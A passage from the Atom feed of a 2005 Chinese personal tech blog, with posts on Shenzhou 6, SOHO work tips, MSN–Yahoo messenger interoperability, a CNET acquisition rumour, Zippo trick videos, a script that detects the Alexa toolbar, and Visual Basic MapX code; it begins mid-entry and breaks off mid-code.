		  <summary type="html"><![CDATA[<P align=center>[img]http://image2.sina.com.cn/dy/c/p/2005-10-17/U36P1T1D8024802F21DT20051017060235.jpg[/img]</P>
<P>北京时间17日4时32分许，神舟六号返回舱已成功着陆。两名宇航员安全返航。</P>
<P>摘：<A href="http://www.sina.com.cn">http://www.sina.com.cn</A></P>]]></summary>
	  <link rel="alternate" type="text/html" href="http://www.openx.cn/default.asp?id=81" /> 
	  <id>http://www.openx.cn/default.asp?id=81</id> 
  </entry>	
		
  <entry>
	  <title type="html"><![CDATA[SOHO族十大必备要件]]></title>
	  <author>
		 <name>cxty</name>
		 <uri>http://www.openx.cn/</uri>
		 <email>cxty@qq.com</email>
	  </author>
	  <category term="" scheme="http://www.openx.cn/default.asp?cateID=2" label="杂七杂八" /> 
	  <updated>2005-10-16T22:30:33+08:00</updated>
	  <published>2005-10-16T22:30:33+08:00</published>
		  <summary type="html"><![CDATA[<SPAN id=zoom>1．必须是一个能主动工作的人，在没有外界压力的情况下也能及时地完成手头的事情。 
<P>
<P>2．你应该是一个能够独立完成工作的人，能在没有同事协助的前提下开展工作。 </P>
<P>3．必须是一个做事计划性很强的人，懂得维持工作与生活方面的平衡，不会因为在家工作而导致生活秩序大乱。 </P>
<P>4．能够控制工作的进展程度。 </P>
<P>5．你应该是一个善于解决问题的人。 </P>
<P>6．拥有管理事务的能力。假如你对行政、财务、行销等方面一窍不通，就得考虑一下自己去学习相关知识或是请人代为处理。 </P>
<P>7．具备出众的专业能力。没有专业知识与能力就等于缺乏竞争力，根本不可能有所作为。 </P>
<P>8．良好的人际关系与资源。你最好有3年以上的相关工作经验，资深的工作者最适合从事SOHO。 </P>
<P>9．幕后的支援——财力。钱虽不是重要的因素，但也是不可或缺的支持力，有稳定的财力作后盾，会使你创业的初期无后顾之忧。 </P>
<P>10．有精良的工作设备。</P>
<P>11．储备至少3个月的生活费用。SOHO的收入并不稳定，银行存款能保证你在生意淡季时生活无忧。 </P>
<P>12.定期回顾工作情况。工作半年后应该评估一下这段时间在家工作的业绩。看看有没有完成预定计划，能否再作进一步的提高，然后为下一阶段的工作制定一个新的目标。</P></SPAN>]]></summary>
	  <link rel="alternate" type="text/html" href="http://www.openx.cn/default.asp?id=80" /> 
	  <id>http://www.openx.cn/default.asp?id=80</id> 
  </entry>	
		
  <entry>
	  <title type="html"><![CDATA[判断客户端是否安装Alexa工具条]]></title>
	  <author>
		 <name>cxty</name>
		 <uri>http://www.openx.cn/</uri>
		 <email>cxty@qq.com</email>
	  </author>
	  <category term="" scheme="http://www.openx.cn/default.asp?cateID=3" label="网络开发" /> 
	  <updated>2005-10-16T15:48:33+08:00</updated>
	  <published>2005-10-16T15:48:33+08:00</published>
		  <summary type="html"><![CDATA[新建一个HTML页面，在&lt;head&gt;之间插入一个引用脚本资源的&lt;script&gt;,如下：<BR>&lt;script language="Javascript" src="res://AlxRes.dll/SCRIPT/dsn.class.js"&gt;&lt;/script&gt;<BR>dsn.class.js是AlxRes.dll中的其中一个脚本资源，现在我们随便找这个资源里的一个function，只要它能运行就可以，我找到一个比较简单的：<BR>function aborted()<BR>{<BR>&nbsp;return;<BR>}<BR>因为这个方法比较简单，调用也不容易出错。这就好办了，要判断用户端是否安装alexa工具条，写一段脚本：<BR>&lt;script language="Javascript" src="res://AlxRes.dll/SCRIPT/dsn.class.js"&gt;&lt;/script&gt;<BR>&lt;script language="Javascript"&gt;<BR>function doTryAlexa()<BR>{<BR>&nbsp;try<BR>&nbsp;{<BR>&nbsp;&nbsp;aborted();<BR>&nbsp;&nbsp;return 1;<BR>&nbsp;}<BR>&nbsp;catch(e)<BR>&nbsp;{<BR>&nbsp;&nbsp;return 0;<BR>&nbsp;}<BR>}<BR>&lt;/script&gt;<BR>... 下面来测试一下：&lt;input type="button" value="tryAlexa" onclick="alert(doTryAlexa())"&gt;<BR>如果安装了，提示1，没安装就提示2。]]></summary>
	  <link rel="alternate" type="text/html" href="http://www.openx.cn/default.asp?id=79" /> 
	  <id>http://www.openx.cn/default.asp?id=79</id> 
  </entry>	
		
  <entry>
	  <title type="html"><![CDATA[MSNMessenger和Yahoo!Messenger实现互通！]]></title>
	  <author>
		 <name>cxty</name>
		 <uri>http://www.openx.cn/</uri>
		 <email>cxty@qq.com</email>
	  </author>
	  <category term="" scheme="http://www.openx.cn/default.asp?cateID=2" label="杂七杂八" /> 
	  <updated>2005-10-15T20:55:17+08:00</updated>
	  <published>2005-10-15T20:55:17+08:00</published>
		  <summary type="html"><![CDATA[官方写的是12号时候的事情,国内的媒体大多还没有听说此事情,几十分钟前，我看到微软中国向腾讯抛绣球的消息,有些疑惑,现在,我的的脑海里唿的冒起了微软"全球计划"---反击Google的扩张....<BR><BR><STRONG>Microsoft and Yahoo! Announce Landmark Interoperability Agreement to Connect Consumer Instant Messaging Communities Globally</STRONG><BR>Consumers will be able to exchange instant messages, see presence, share emoticons and add friends from Yahoo! Messenger or MSN Messenger.<BR><STRONG>Brad Garlinghouse (L), vice president of Communications Products at Yahoo! Inc., and Blake Irving, corporate vice president of MSN Communication Services and Member Platform, announce a landmark interoperability agreement to connect users of their consumer instant messaging services on a global basis. Oct. 12, 2005.<BR><BR><BR>SUNNYVALE, Calif., and REDMOND, Wash. — Oct. 12, 2005 — Yahoo! Inc. (Nasdaq: YHOO) and Microsoft Corp. (Nasdaq: “MSFT”) today announced a landmark agreement to connect users of their consumer instant messaging (IM) services on a global basis. The industry’s first interoperability agreement between two distinct leading global consumer IM providers will give MSN® Messenger and Yahoo!® Messenger users the ability to interact with each other, forming what is expected to be the largest consumer IM community in the world, estimated to be more than 275 million strong. <BR></STRONG>
<DIV><STRONG>Being able to instant message between IM communities is one of the features most requested by MSN Messenger and Yahoo! Messenger users, and Microsoft and Yahoo! share a commitment to provide IM interoperability while keeping consumer security and privacy first and foremost. In addition to exchanging instant messages, consumers from both communities will be able to see their friends’ online presence, share select emoticons, and easily add new contacts from either service to their friends’ list, all as part of their free IM service.* Yahoo! and Microsoft plan to introduce these interconnectivity capabilities between MSN Messenger and Yahoo! Messenger to customers around the world in the second quarter of 2006, and in doing so expect to help make IM an even more useful part of consumers’ online communications and communities. </STRONG></DIV><BR><STRONG>
<DIV><BR>“Yahoo! and Microsoft share a commitment to providing the highest-quality experience possible for consumers, and today’s groundbreaking announcement underscores our desire to provide consumer interoperability between our thriving IM communities,” said Terry Semel, chief executive officer, Yahoo! Inc. “This is truly a turning point for the IM industry, and we believe our agreement with Microsoft will help usher in a new era of IP communications.” </DIV><BR>
<DIV>“Microsoft and Yahoo! look forward to bridging the divide between our global communities, creating richer and easier ways for our customers to connect,” said Steve Ballmer, chief executive officer of Microsoft. “IM interoperability is the right thing for our customers, our businesses and the industry as a whole, and Microsoft is delighted to help lead these efforts with Yahoo!”<BR><BR>原文:<BR>http://www.microsoft.com/presspass/press/2005/oct05/10-12MSNYahooMessengerPR.mspx</DIV></STRONG>]]></summary>
	  <link rel="alternate" type="text/html" href="http://www.openx.cn/default.asp?id=78" /> 
	  <id>http://www.openx.cn/default.asp?id=78</id> 
  </entry>	
		
  <entry>
	  <title type="html"><![CDATA[芙蓉姐夫]]></title>
	  <author>
		 <name>cxty</name>
		 <uri>http://www.openx.cn/</uri>
		 <email>cxty@qq.com</email>
	  </author>
	  <category term="" scheme="http://www.openx.cn/default.asp?cateID=2" label="杂七杂八" /> 
	  <updated>2005-10-14T09:35:05+08:00</updated>
	  <published>2005-10-14T09:35:05+08:00</published>
		  <summary type="html"><![CDATA[<P>[swf]http://www.zhaoqt.net/bs/UploadFile/2005-10/furongjiefu.swf[/swf]</P>
<P>&nbsp;</P>]]></summary>
	  <link rel="alternate" type="text/html" href="http://www.openx.cn/default.asp?id=77" /> 
	  <id>http://www.openx.cn/default.asp?id=77</id> 
  </entry>	
		
  <entry>
	  <title type="html"><![CDATA[传CNET将购CSDN和ChinaUnix 结果年底公布]]></title>
	  <author>
		 <name>cxty</name>
		 <uri>http://www.openx.cn/</uri>
		 <email>cxty@qq.com</email>
	  </author>
	  <category term="" scheme="http://www.openx.cn/default.asp?cateID=2" label="杂七杂八" /> 
	  <updated>2005-10-14T09:18:13+08:00</updated>
	  <published>2005-10-14T09:18:13+08:00</published>
		  <summary type="html"><![CDATA[<P align=center>http://www.sina.com.cn 2005年10月12日&nbsp;12:14 <FONT class=f14 id=zoom><!-- 正文内部文字导航 : begin --><!-- 正文内部文字导航 : end --></P>
<P>　　作者:王建 伊豪</P>
<P>　　【赛迪独家报道】今日，有消息灵通人士称CNET将收购国内两家非常有名的专业技术网站：CSDN(<A href="http://www.csdn.net/">www.csdn.net</A>)和ChinaUnix(<A href="http://www.chinaunix.net/">www.chinaUnix.net</A>)。据悉，CNET已经与CSDN进行了三次收购谈判，大概的收购价格约500万美元左右，目前还在保密期，年底前将有准确结果。 </P><!--NEWSZW_HZH_BEGIN--></FONT>
<P>　　CSDN网站主要面向windows用户群和开发用户，是国内数一数二开发类网站。CSDN网站流量不错，用户成员多以程序员为，但是商业化发展走很艰难，主盈利线稍微薄弱。 </P>
<P>　　一位CSDN网站内部人士回答，CSDN确实“在谈融资”，但是不清楚具体事宜和投资方。而业内人士认为，如果CNET给的价钱合适，CSDN被收购的可能性很大。 </P>
<P>　　ChinaUnix主要面向unix linux用户和系统高端用户，也是非常有名的技术网站。据说，CNET给ChinaUnix开出的价格“比较有诱惑力”。一位曾经服务过ChinaUnix朋友认为收购的可能性比较大，但是他同时表示如果CENT收购ChinaUnix也只能是部分股份，而不是网站的全部股份。</P>]]></summary>
	  <link rel="alternate" type="text/html" href="http://www.openx.cn/default.asp?id=76" /> 
	  <id>http://www.openx.cn/default.asp?id=76</id> 
  </entry>	
		
  <entry>
	  <title type="html"><![CDATA[ZIPPO玩法,粉帅~~~~~]]></title>
	  <author>
		 <name>cxty</name>
		 <uri>http://www.openx.cn/</uri>
		 <email>cxty@qq.com</email>
	  </author>
	  <category term="" scheme="http://www.openx.cn/default.asp?cateID=2" label="杂七杂八" /> 
	  <updated>2005-10-14T08:39:35+08:00</updated>
	  <published>2005-10-14T08:39:35+08:00</published>
		  <summary type="html"><![CDATA[<P>[swf]http://www.fjzippo.com/images/fjzippo.swf[/swf]</P>
<P><SPAN class=style9><A href="http://www.fjzippo.com/images/fjzippo.rm" target=_blank>一段非常棒的玩法视频&nbsp;&nbsp;下载观看(右键点击目标另存为)</A></SPAN>&nbsp; </P>
<P class=style3>本站玩法录像转自国外<A title=zippo,zippo玩法,zippo打火机 href="http://www.51zippo.com/" target=_blank>zippo</A>网站，请右键点击-目标另存为，下载以后观看</P>
<P class=style3><A href="http://www.lightertricks.com/Video/indexsqueeze.rm" target=_blank>indexsqueeze</A><BR><A href="http://www.lightertricks.com/Video/easyflipper.rm" target=_blank>easyflipper</A><BR><A href="http://www.lightertricks.com/Video/butler.rm" target=_blank>butler</A><BR><A href="http://www.lightertricks.com/Video/bastard.rm" target=_blank>bastard</A><BR><A href="http://www.lightertricks.com/Video/wb.rm" target=_blank>wb</A><BR><A href="http://www.lightertricks.com/Video/ub.rm" target=_blank>ub</A><BR><A href="http://www.lightertricks.com/Video/inversepower.rm" target=_blank>inversepower</A><BR><A href="http://www.lightertricks.com/Video/holysalto.rm" target=_blank>holysalto</A><BR><A href="http://www.lightertricks.com/Video/ferris.rm" target=_blank>ferris</A><BR><A href="http://www.lightertricks.com/Video/tripflickrewind.rm" target=_blank>tripflickrewind</A><BR><A href="http://www.lightertricks.com/Video/messingabout.rm" target=_blank>messingabout</A><BR><A href="http://www.lightertricks.com/Video/justafling.rm" target=_blank>justafling</A><BR><A href="http://www.lightertricks.com/Video/fasterthan.rm" target=_blank>fasterthan</A><BR><A href="http://www.lightertricks.com/Video/blister.rm" target=_blank>blister</A><BR><A href="http://www.lightertricks.com/Video/doublesmacker.rm" target=_blank>doublesmacker</A><BR><A href="http://www.lightertricks.com/Video/2hands2.rm" target=_blank>2hands2</A><BR><A href="http://www.lightertricks.com/Video/smooth2.rm" target=_blank>smooth2</A><BR><A href="http://www.lightertricks.com/Video/dizzy.rm" target=_blank>dizzy</A><BR><A href="http://www.lightertricks.com/Video/quicknsimple.rm" target=_blank>quicknsimple</A><BR><A href="http://www.lightertricks.com/Video/smooth1.rm" target=_blank>smooth1</A><BR><A href="http://www.lightertricks.com/Video/medley.rm" target=_blank>medley</A><BR><A href="http://www.lightertricks.com/Video/between.rm" target=_blank>between</A><BR><A href="http://www.lightertricks.com/Video/butterfly.rm" target=_blank>butterfly</A><BR><A href="http://www.lightertricks.com/Video/goofy7.rm" target=_blank>goofy7</A><BR><A href="http://www.lightertricks.com/Video/starfish.rm" target=_blank>starfish</A><BR><A href="http://www.lightertricks.com/Video/360kneeflip.rm" target=_blank>360kneeflip</A><BR><A href="http://www.lightertricks.com/Video/faster5.rm" target=_blank>faster5</A><BR><A href="http://www.lightertricks.com/Video/bbq.rm" target=_blank>bbq</A><BR><A href="http://www.lightertricks.com/Video/flicknlight.rm" target=_blank>flicknlight</A><BR><A href="http://www.lightertricks.com/Video/bruce.rm" target=_blank>bruce</A><BR><A href="http://www.lightertricks.com/Video/kelly.rm" target=_blank>kelly</A><BR><A href="http://www.lightertricks.com/Video/manchester.rm" target=_blank>manchester</A><BR><A href="http://www.lightertricks.com/Video/elvis.rm" target=_blank>elvis</A><BR><A href="http://www.lightertricks.com/Video/goofy9.rm" target=_blank>goofy9</A><BR><A href="http://www.lightertricks.com/Video/1move2.rm" target=_blank>1move2</A><BR><A href="http://www.lightertricks.com/Video/theclaw.rm" target=_blank>theclaw</A><BR><A href="http://www.lightertricks.com/Video/suckonthis.rm" target=_blank>suckonthis</A><BR><A href="http://www.lightertricks.com/Video/itsasnap.rm" target=_blank>itsasnap</A><BR><A href="http://www.lightertricks.com/Video/BFtake.rm" target=_blank>BFtake</A><BR><A href="http://www.lightertricks.com/Video/unread.rm" target=_blank>unread</A><BR><A href="http://www.lightertricks.com/Video/dirty.rm" target=_blank>dirty</A><BR><A href="http://www.lightertricks.com/Video/yummy.rm" target=_blank>yummy</A><BR><A href="http://www.lightertricks.com/Video/hamburger.rm" target=_blank>hamburger</A><BR><A href="http://www.lightertricks.com/Video/bertie.rm" target=_blank>bertie</A><BR><A href="http://www.lightertricks.com/Video/jokes.rm" target=_blank>jokes</A><BR><A href="http://www.lightertricks.com/Video/gstring.rm" target=_blank>gstring</A><BR><A href="http://www.lightertricks.com/Video/somelik&#101;it.rm" target=_blank>somelik&#101;it</A><BR><A href="http://www.lightertricks.com/Video/legtap.rm" target=_blank>legtap</A><BR><A href="http://www.lightertricks.com/Video/false.rm" target=_blank>false</A><BR><A href="http://www.lightertricks.com/Video/merrygodown.rm" target=_blank>merrygodown</A><BR><A href="http://www.lightertricks.com/Video/underthebridge.rm" target=_blank>underthebridge</A><BR><A href="http://www.lightertricks.com/Video/kissme.rm" target=_blank>kissme</A><BR><A href="http://www.lightertricks.com/Video/nightingale.rm" target=_blank>nightingale</A><BR><A href="http://www.lightertricks.com/Video/gypsy.rm" target=_blank>gypsy</A><BR><A href="http://www.lightertricks.com/Video/athing.rm" target=_blank>athing</A><BR><A href="http://www.lightertricks.com/Video/yes.rm" target=_blank>yes</A><BR><A href="http://www.lightertricks.com/Video/ziptrick.rm" target=_blank>ziptrick</A><BR><A href="http://www.lightertricks.com/Video/callforhome.rm" target=_blank>callforhome</A><BR><A href="http://www.lightertricks.com/Video/flipswirl.rm" target=_blank>flipswirl</A><BR></P><SPAN class=style3><A href="http://www.lightertricks.com/Video/2001takes.rm" target=_blank>2001takes</A><BR><A href="http://www.lightertricks.com/Video/kisstheflame.rm" target=_blank>kisstheflame</A><BR><A href="http://www.lightertricks.com/Video/squeezeandspin.rm" target=_blank>squeezeandspin</A><BR><A href="http://www.lightertricks.com/Video/goofyfly.rm" target=_blank>goofyfly</A><BR><A href="http://www.lightertricks.com/Video/2003.rm" target=_blank>2003</A><BR><A href="http://www.lightertricks.com/Video/xmas.rm" target=_blank>xmas</A><BR><A href="http://www.lightertricks.com/Video/burningangel.rm" target=_blank>burningangel</A><BR><A href="http://www.lightertricks.com/Video/monster.rm" target=_blank>monster</A><BR><A href="http://www.lightertricks.com/Video/description.rm" target=_blank>description</A><BR><A href="http://www.lightertricks.com/Video/same.rm" target=_blank>same</A><BR><A href="http://www.lightertricks.com/Video/pantera.rm" target=_blank>pantera</A><BR><A href="http://www.lightertricks.com/Video/duplicate.rm" target=_blank>duplicate</A><BR><A href="http://www.lightertricks.com/Video/4x4.rm" target=_blank>4x4</A><BR><A href="http://www.lightertricks.com/Video/gracie.rm" target=_blank>gracie</A><BR><A href="http://www.lightertricks.com/Video/aroundwego.rm" target=_blank>aroundwego</A><BR><A href="http://www.lightertricks.com/Video/litclose.rm" target=_blank>litclose</A><BR><A href="http://www.lightertricks.com/Video/twistandflip.rm" target=_blank>twistandflip</A><BR><A href="http://www.lightertricks.com/Video/squeezeandflip.rm" target=_blank>squeezeandflip</A><BR><A href="http://www.lightertricks.com/Video/doubleflip.rm" target=_blank>doubleflip</A><BR><A href="http://www.lightertricks.com/Video/twistandroll.rm" target=_blank>twistandroll</A><BR><A href="http://www.lightertricks.com/Video/simpleroller.rm" target=_blank>simpleroller</A><BR><A href="http://www.lightertricks.com/Video/gun.wmv" target=_blank>gun</A><BR><A href="http://www.lightertricks.com/Video/table_spin.rm" target=_blank>table_spin</A><BR><A href="http://www.lightertricks.com/Video/foot_lighter.rm" target=_blank>foot_lighter</A><BR><A href="http://www.lightertricks.com/Video/goofy.rm" target=_blank>goofy</A><BR><A href="http://www.lightertricks.com/Video/finish.rm" target=_blank>finish</A><BR><A href="http://www.lightertricks.com/Video/doubleteam.wmv" target=_blank>doubleteam</A><BR><A href="http://www.lightertricks.com/Video/closure.wmv" target=_blank>closure</A><BR><A href="http://www.lightertricks.com/Video/frontpocket.wmv" target=_blank>frontpocket</A><BR><A href="http://www.lightertricks.com/Video/palmroller.wmv" target=_blank>palmroller</A><BR><A href="http://www.lightertricks.com/Video/tumbling.rm" target=_blank>tumbling</A><BR><A href="http://www.lightertricks.com/Video/skinner.rm" target=_blank>skinner</A><BR><A href="http://www.lightertricks.com/Video/finger.rm" target=_blank>finger</A><BR><A href="http://www.lightertricks.com/Video/hopper.rm" target=_blank>hopper</A><BR><A href="http://www.lightertricks.com/Video/palmswing.rm" target=_blank>palmswing</A><BR><A href="http://www.lightertricks.com/Video/fireball.rm" target=_blank>fireball</A><BR><A href="http://www.lightertricks.com/Video/1handloop.rm" target=_blank>1handloop</A><BR><A href="http://www.lightertricks.com/Video/dominoflame.rm" target=_blank>dominoflame</A><BR><A href="http://www.lightertricks.com/Video/upsidedown.rm" target=_blank>upsidedown</A><BR><A href="http://www.lightertricks.com/Video/quickie.wmv" target=_blank>quickie</A><BR><A href="http://www.lightertricks.com/Video/kick.rm" target=_blank>kick</A><BR><A href="http://www.lightertricks.com/Video/bundle.rm" target=_blank>bundle</A><BR><A href="http://www.lightertricks.com/Video/hidden.rm" target=_blank>hidden</A><BR><A href="http://www.lightertricks.com/Video/onefinger.rm" target=_blank>onefinger</A><BR><A href="http://www.lightertricks.com/Video/back.rm" target=_blank>back</A><BR><A href="http://www.lightertricks.com/Video/boomerang.rm" target=_blank>boomerang</A><BR><A href="http://www.lightertricks.com/Video/pouch.rm" target=_blank>pouch</A><BR><A href="http://www.lightertricks.com/Video/shoot.rm" target=_blank>shoot</A><BR><A href="http://www.lightertricks.com/Video/itchy.rm" target=_blank>itchy</A><BR><A href="http://www.lightertricks.com/Video/twilight.rm" target=_blank>twilight</A><BR><A href="http://www.lightertricks.com/Video/hinges.rm" target=_blank>hinges</A><BR><A href="http://www.lightertricks.com/Video/perfectside.rm" target=_blank>perfectside</A><BR><A href="http://www.lightertricks.com/Video/dinner.rm" target=_blank>dinner</A><BR><A href="http://www.lightertricks.com/Video/flippersong1.rm" target=_blank>flippersong1</A><BR><A href="http://www.lightertricks.com/Video/clench.rm" target=_blank>clench</A><BR><A href="http://www.lightertricks.com/Video/thumbslider.rm" target=_blank>thumbslider</A><BR><A href="http://www.lightertricks.com/Video/manhattan.rm" target=_blank>manhattan</A><BR><A href="http://www.lightertricks.com/Video/clapper.rm" target=_blank>clapper</A><BR><A href="http://www.lightertricks.com/Video/kneesmack.rm" target=_blank>kneesmack</A></SPAN>]]></summary>
	  <link rel="alternate" type="text/html" href="http://www.openx.cn/default.asp?id=75" /> 
	  <id>http://www.openx.cn/default.asp?id=75</id> 
  </entry>	
		
  <entry>
	  <title type="html"><![CDATA[进入全面开发阶段]]></title>
	  <author>
		 <name>cxty</name>
		 <uri>http://www.openx.cn/</uri>
		 <email>cxty@qq.com</email>
	  </author>
	  <category term="" scheme="http://www.openx.cn/default.asp?cateID=6" label="WEB Talk" /> 
	  <updated>2005-10-13T07:51:48+08:00</updated>
	  <published>2005-10-13T07:51:48+08:00</published>
		  <summary type="html"><![CDATA[<P align=center>[img]include/Editor/UploadFile/2005101374256288.jpg[/img]</P>
<P>昨天也就是2005.10.12将"网站通"英文名称改为"WEB Talk".</P>
<P>WEB Talk 的基础通讯协议也已经定义,并命名为"WTP"协议.</P>
<P>服务端程序也已经开始编写.</P>
<P>WEB Talk站点也正在建设,并已有初步框架.</P>
<P>开发到一定阶段我将公布程序代码和接口协议,并在我能力内免费向大家提供"网站通"服务.</P>
<P>======================================================</P>
<P>开发"网站通"是两星期前的想法,那时偶然的机会看到国外的类似网站提供的类似功能,而国内也看到了一家提供网站及时与站长沟通的功能,但却要收费.</P>
<P>本这分享互联网的精神我决定自己做一个,并起草了第一份"网站通"通讯协议,当是叫"WEBtong",感觉有点俗,呵呵.直到10.12的晚上不知道怎么的就更名为"WEB Talk"咯~</P>
<P>希望大家支持,在我能力范围能我一定会把她开发出来免费提供给大家的.</P>
<P>如果有谁愿意一起开发那当然是求之不得啦~毕竟一个人的想法和能力有限(要写程序,做UI,做WEB等很辛苦的),还可以广交天下好友何乐而不为呢是吧!!!</P>
<P>&nbsp;</P>]]></summary>
	  <link rel="alternate" type="text/html" href="http://www.openx.cn/default.asp?id=74" /> 
	  <id>http://www.openx.cn/default.asp?id=74</id> 
  </entry>	
		
  <entry>
	  <title type="html"><![CDATA["神州"六号飞天成功!!!!!!!]]></title>
	  <author>
		 <name>cxty</name>
		 <uri>http://www.openx.cn/</uri>
		 <email>cxty@qq.com</email>
	  </author>
	  <category term="" scheme="http://www.openx.cn/default.asp?cateID=4" label="照片" /> 
	  <updated>2005-10-12T09:41:04+08:00</updated>
	  <published>2005-10-12T09:41:04+08:00</published>
		  <summary type="html"><![CDATA[<P>[img]http://image2.sina.com.cn/dy/c/p/2005-10-12/U28P1T1D7984598F21DT20051012091836.jpg[/img]</P>
<P>摘:http://news.sina.com.cn/c/p/2005-10-12/09187984598.shtml</P>]]></summary>
	  <link rel="alternate" type="text/html" href="http://www.openx.cn/default.asp?id=73" /> 
	  <id>http://www.openx.cn/default.asp?id=73</id> 
  </entry>	
		
  <entry>
	  <title type="html"><![CDATA[使用MapX开发实现若干小功能]]></title>
	  <author>
		 <name>cxty</name>
		 <uri>http://www.openx.cn/</uri>
		 <email>cxty@qq.com</email>
	  </author>
	  <category term="" scheme="http://www.openx.cn/default.asp?cateID=3" label="网络开发" /> 
	  <updated>2005-10-11T22:01:38+08:00</updated>
	  <published>2005-10-11T22:01:38+08:00</published>
		  <summary type="html"><![CDATA[<DIV><B>一、<FONT face="Times New Roman"> </FONT></B><B>前言<FONT face="Times New Roman"> </FONT></B></DIV>
<DIV>我用<FONT face="Times New Roman">MapInfo</FONT>公司的<FONT face="Times New Roman">MapX</FONT>开发过几个项目。在项目的开发过程中，也接触了一些使用相同技术的公司和开发人员，感觉到他们的开发过程常常被一些问题所困扰，却得不到很好的解决。在这里，我把我在开发过程中积累的一些经验写出来，希望能起到抛砖引玉的作用。</DIV>
<DIV><B>二、开发经验<FONT face="Times New Roman"> </FONT></B></DIV>
<DIV><B><FONT face="Times New Roman">1</FONT></B><B>、如何在<FONT face="Times New Roman">MapX</FONT></B><B>下读取属性值，这里介绍三种方法：</B></DIV>
<DIV><FONT face="Times New Roman">1</FONT>）由<FONT face="Times New Roman">Layer</FONT>对象的<FONT face="Times New Roman">KeyField</FONT>属性来设立要读取属性值的字段名。接着，由<FONT face="Times New Roman">Feature</FONT>对象的<FONT face="Times New Roman">keyValue</FONT>读取此行的属性值。</DIV>
<DIV><FONT face="Times New Roman">2</FONT>）将图层加入到<FONT face="Times New Roman">Datasets</FONT>，由<FONT face="Times New Roman">Dataset</FONT>对象的<FONT face="Times New Roman">Value</FONT>（<FONT face="Times New Roman">x,y</FONT>）属性，通过设置行号，列号来获得属性值。</DIV>
<DIV><FONT face="Times New Roman">3</FONT>）将图层加入到<FONT face="Times New Roman">Datasets</FONT>之后由<FONT face="Times New Roman">RowValues(ftr)</FONT>获取整行的值。</DIV>
<DIV><FONT face="Times New Roman">Dim ds As MapXLib.Dataset, lyr As MapXLib.layer</FONT></DIV>
<DIV><FONT face="Times New Roman">Dim ftrs As Features</FONT></DIV>
<DIV><FONT face="Times New Roman">Dim ftr As Feature</FONT></DIV>
<DIV><FONT face="Times New Roman">Dim rv As RowValue</FONT></DIV>
<DIV><FONT face="Times New Roman">Dim rvs As RowValues</FONT></DIV>
<DIV><FONT face="Times New Roman">Dim DsName As String '</FONT>数据集名</DIV>
<DIV><FONT face="Times New Roman">Dim DsRows As Long, DsCols As Long</FONT></DIV>
<DIV><FONT face="Times New Roman">Dim i As Long, j As Long</FONT></DIV>
<DIV><FONT face="Times New Roman">Set ds = Formmain.Map1.Datasets.Item(DsName)</FONT></DIV>
<DIV><FONT face="Times New Roman">Set lyr = ds.layer</FONT></DIV>
<DIV><FONT face="Times New Roman">Set ftrs = lyr.AllFeatures</FONT></DIV>
<DIV><FONT face="Times New Roman">DsCols = ds.Fields.Count</FONT></DIV>
<DIV><FONT face="Times New Roman">DsCols = DsCols + 1 </FONT></DIV>
<DIV><FONT face="Times New Roman">DsRows = ftrs.Count</FONT></DIV>
<DIV><FONT face="Times New Roman">Grid1.Rows = DsRows + 1</FONT></DIV>
<DIV><FONT face="Times New Roman">Grid1.Cols = DsCols</FONT></DIV>
<DIV><FONT face="Times New Roman">Grid1.Row = 0</FONT></DIV>
<DIV><FONT face="Times New Roman">For i = 0 To DsCols - 1</FONT></DIV>
<DIV><FONT face="Times New Roman">Grid1.Col = i</FONT></DIV>
<DIV><FONT face="Times New Roman">Grid1.Text = ds.Fields.Item(i + 1).Name</FONT></DIV>
<DIV><FONT face="Times New Roman">Next i</FONT></DIV>
<DIV><FONT face="Times New Roman">Grid1.Col = DsCols - 1</FONT></DIV>
<DIV><FONT face="Times New Roman">Grid1.Text = "Fkey"</FONT></DIV>
<DIV><FONT face="Times New Roman">lyr.BeginAccess miAccessRead</FONT></DIV>
<DIV><FONT face="Times New Roman">i = 1</FONT></DIV>
<DIV><FONT face="Times New Roman">For Each ftr In ftrs</FONT></DIV>
<DIV><FONT face="Times New Roman">Set rvs = ds.RowValues(ftr)</FONT></DIV>
<DIV><FONT face="Times New Roman">j = 0</FONT></DIV>
<DIV><FONT face="Times New Roman">For Each rv In rvs</FONT></DIV>
<DIV><FONT face="Times New Roman">If Not IsNull(rv.Value) Then Grid1.TextArray(i * DsCols + j) = Trim(rv.Value)</FONT></DIV>
<DIV><FONT face="Times New Roman">j = j + 1</FONT></DIV>
<DIV><FONT face="Times New Roman">Next</FONT></DIV>
<DIV><FONT face="Times New Roman">Grid1.TextArray(i * DsCols + j) = ftr.FeatureKey</FONT></DIV>
<DIV><FONT face="Times New Roman">i = i + 1</FONT></DIV>
<DIV><FONT face="Times New Roman">Next</FONT></DIV>
<DIV><FONT face="Times New Roman">lyr.EndAccess miAccessEnd</FONT></DIV>
<DIV><FONT face="Times New Roman">Set ftr = Nothing</FONT></DIV>
<DIV><FONT face="Times New Roman">Set ftrs = Nothing</FONT></DIV>
<DIV><FONT face="Times New Roman">Set ds = Nothing</FONT></DIV>
<DIV><FONT face="Times New Roman">Set rv = Nothing</FONT></DIV>
<DIV><FONT face="Times New Roman">Set rvs = Nothing</FONT></DIV>
<DIV><FONT face="Times New Roman">Set lyr = Nothing</FONT></DIV>
<DIV><B><I>注意：</I></B><FONT face="Times New Roman">BeginAccess</FONT>，以及<FONT face="Times New Roman">EndAccess</FONT>可以明显的提高属性读取的速度。</DIV>
<DIV><B><FONT face="Times New Roman">2</FONT></B><B>、自定义范围专题图</B></DIV>
<DIV><FONT face="Times New Roman">MapX</FONT>的专题图用户可以进行完全的定制，下面是自定义范围专题图的例子。</DIV>
<DIV><FONT face="Times New Roman">Dim ds As New MapXLib.Dataset</FONT></DIV>
<DIV><FONT face="Times New Roman">Dim thm As New MapXLib.Theme</FONT></DIV>
<DIV><FONT face="Times New Roman">Set ds = Formmain.Map1.Datasets(ToolBars.Combo2.Text)</FONT></DIV>
<DIV><FONT face="Times New Roman">Set thm = ds.Themes.add(0, "aa", "aa", False)</FONT></DIV>
<DIV><FONT face="Times New Roman">thm.Legend.Compact = False</FONT></DIV>
<DIV><FONT face="Times New Roman">thm.AutoRecompute = False</FONT></DIV>
<DIV><FONT face="Times New Roman">'thm.ComputeTheme = False</FONT></DIV>
<DIV><FONT face="Times New Roman">thm.DataMax = 700</FONT></DIV>
<DIV><FONT face="Times New Roman">thm.DataMin = 100</FONT></DIV>
<DIV><FONT face="Times New Roman">thm.ThemeProperties.AllowEmptyRanges = True</FONT></DIV>
<DIV><FONT face="Times New Roman">thm.ThemeProperties.NumRanges = 7</FONT></DIV>
<DIV><FONT face="Times New Roman">thm.ThemeProperties.DistMethod = miCustomRanges</FONT></DIV>
